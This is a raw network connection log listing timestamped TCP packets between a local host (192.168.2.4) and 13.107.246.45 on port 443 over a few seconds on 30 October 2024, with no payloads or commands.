Oct 30, 2024 06:17:21.053906918 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.053985119 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.054066896 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.054478884 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.054512978 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.057789087 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.058289051 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.058306932 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.058855057 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.058867931 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.150886059 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.150954008 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.151026964 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.151245117 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.151259899 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.151272058 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.151278973 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.154115915 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.154162884 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.154251099 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.154407978 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.154422045 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.189656973 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.189682007 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.189733982 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.189759016 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.189795017 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.189997911 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.190025091 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.190052032 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.190063953 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.192667007 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.192689896 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.192764044 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.192907095 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.192919970 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.315572977 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.316071987 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.316102982 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.316565037 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.316571951 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.326334953 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.326984882 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.327020884 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.327568054 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.327580929 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.456681967 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.456815958 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.456887007 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.457104921 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.457123995 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.457134962 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.457140923 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.460391998 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.460438013 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.460526943 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.460714102 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.460735083 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.462037086 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.462138891 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.462203026 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.462254047 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.462254047 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.462291002 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.462317944 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.464339972 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.464354992 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.464431047 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.464565039 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.464576006 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.790024042 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.790760994 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.790798903 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.791152954 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.791168928 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.887068033 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.888725996 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.888746977 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.889158964 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.889163017 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.921927929 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.922080040 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.922183037 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.922339916 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.922339916 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.922372103 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.922394037 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.923564911 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.923887014 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.923902035 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.925101042 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.925102949 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.925106049 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.925137997 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:21.925194025 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.925340891 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:21.925359011 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.018281937 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.018311977 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.018367052 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.018428087 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.018598080 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.018738985 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.018758059 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.018769026 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.018775940 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.028373957 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.028404951 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.028481960 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.028649092 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.028666019 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.054332972 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.054390907 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.054615021 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.054841995 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.054841995 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.054851055 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.054858923 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.057034969 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.057070971 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.057148933 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.057291985 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.057305098 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.197195053 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.197947979 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.197962046 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.198345900 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.198349953 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.238074064 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.238471031 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.238495111 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.238857985 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.238864899 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.327414036 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.327516079 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.327688932 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.327927113 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.327939987 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.327950954 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.327956915 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.330760956 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.330790997 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.330884933 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.331018925 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.331034899 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.373588085 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.373670101 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.373769999 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.373815060 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.373878002 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.374159098 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.374185085 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.374197006 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.374202013 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.377451897 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.377479076 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.377552986 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.377691984 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.377703905 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.672916889 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.673676014 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.673697948 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:22.674662113 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:22.674669027 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.788717985 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.788872004 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.788976908 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.789228916 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.789244890 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.789258957 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.789266109 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.790463924 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.790585041 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.790910959 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.790941000 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.791048050 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.791069984 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.791414976 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.791424990 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.791508913 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.791513920 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.793374062 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.793406963 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.793477058 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.793629885 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.793646097 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.922980070 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.923019886 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.923058033 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.923058987 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.923150063 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.923317909 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.923757076 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.923773050 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.923799992 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.923804998 CET	49901	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.923810959 CET	443	49901	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.923831940 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.924236059 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.924247026 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.925792933 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.925868988 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.925937891 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.926039934 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.926058054 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.926100016 CET	49900	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.926105976 CET	443	49900	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.927190065 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.927228928 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.927297115 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.927473068 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.927488089 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.928024054 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.928162098 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.928199053 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.928263903 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.928452015 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.928467035 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.928471088 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.928482056 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:23.928915024 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:23.928920984 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.057744026 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.057883024 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.057946920 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.058206081 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.058233023 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.058275938 CET	49902	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.058283091 CET	443	49902	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.061433077 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.061450005 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.061539888 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.061712980 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.061726093 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.063551903 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.063632965 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.063684940 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.063699007 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.063736916 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.063786030 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.063853979 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.063867092 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.063875914 CET	49903	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.063882113 CET	443	49903	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.065973043 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.065990925 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.066057920 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.066190004 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.066203117 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.530061960 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.530781984 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.530808926 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.531275988 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.531284094 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.659049034 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.659198046 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.659275055 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.659429073 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.659429073 CET	49904	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.659451962 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.659476042 CET	443	49904	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.662518024 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.662558079 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.662622929 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.662797928 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.662816048 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.669825077 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.670218945 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.670229912 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.670815945 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.670820951 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.796710014 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.797245026 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.797266006 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.797818899 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.797826052 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.801091909 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.801263094 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.801316977 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.801356077 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.801356077 CET	49906	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.801383972 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.801399946 CET	443	49906	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.803925037 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.804409027 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.804424047 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.804476023 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.804505110 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.804565907 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.804686069 CET	49910	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.804698944 CET	443	49910	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.804923058 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.804928064 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.867444992 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.867916107 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.867927074 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.868206978 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.868212938 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.927839041 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.927941084 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.928086042 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.928167105 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.928211927 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.928261042 CET	49907	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.928277969 CET	443	49907	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.930903912 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.930934906 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.931005001 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.931160927 CET	49911	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.931179047 CET	443	49911	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.935378075 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.935451031 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.935501099 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.935565948 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.935576916 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.935585022 CET	49908	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.935590029 CET	443	49908	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.937546968 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.937572002 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.937644005 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.937772036 CET	49912	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.937781096 CET	443	49912	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.997533083 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.997632027 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.997694969 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.997981071 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.997992039 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:24.998012066 CET	49905	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:24.998018980 CET	443	49905	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.000313997 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.000397921 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.000478983 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.000621080 CET	49913	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.000658989 CET	443	49913	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.413165092 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.413748026 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.413783073 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.414253950 CET	49909	443	192.168.2.4	13.107.246.45
Oct 30, 2024 06:17:25.414263964 CET	443	49909	13.107.246.45	192.168.2.4
Oct 30, 2024 06:17:25.535689116 CET	443	49910	13.107.246.45	192.168.2.4
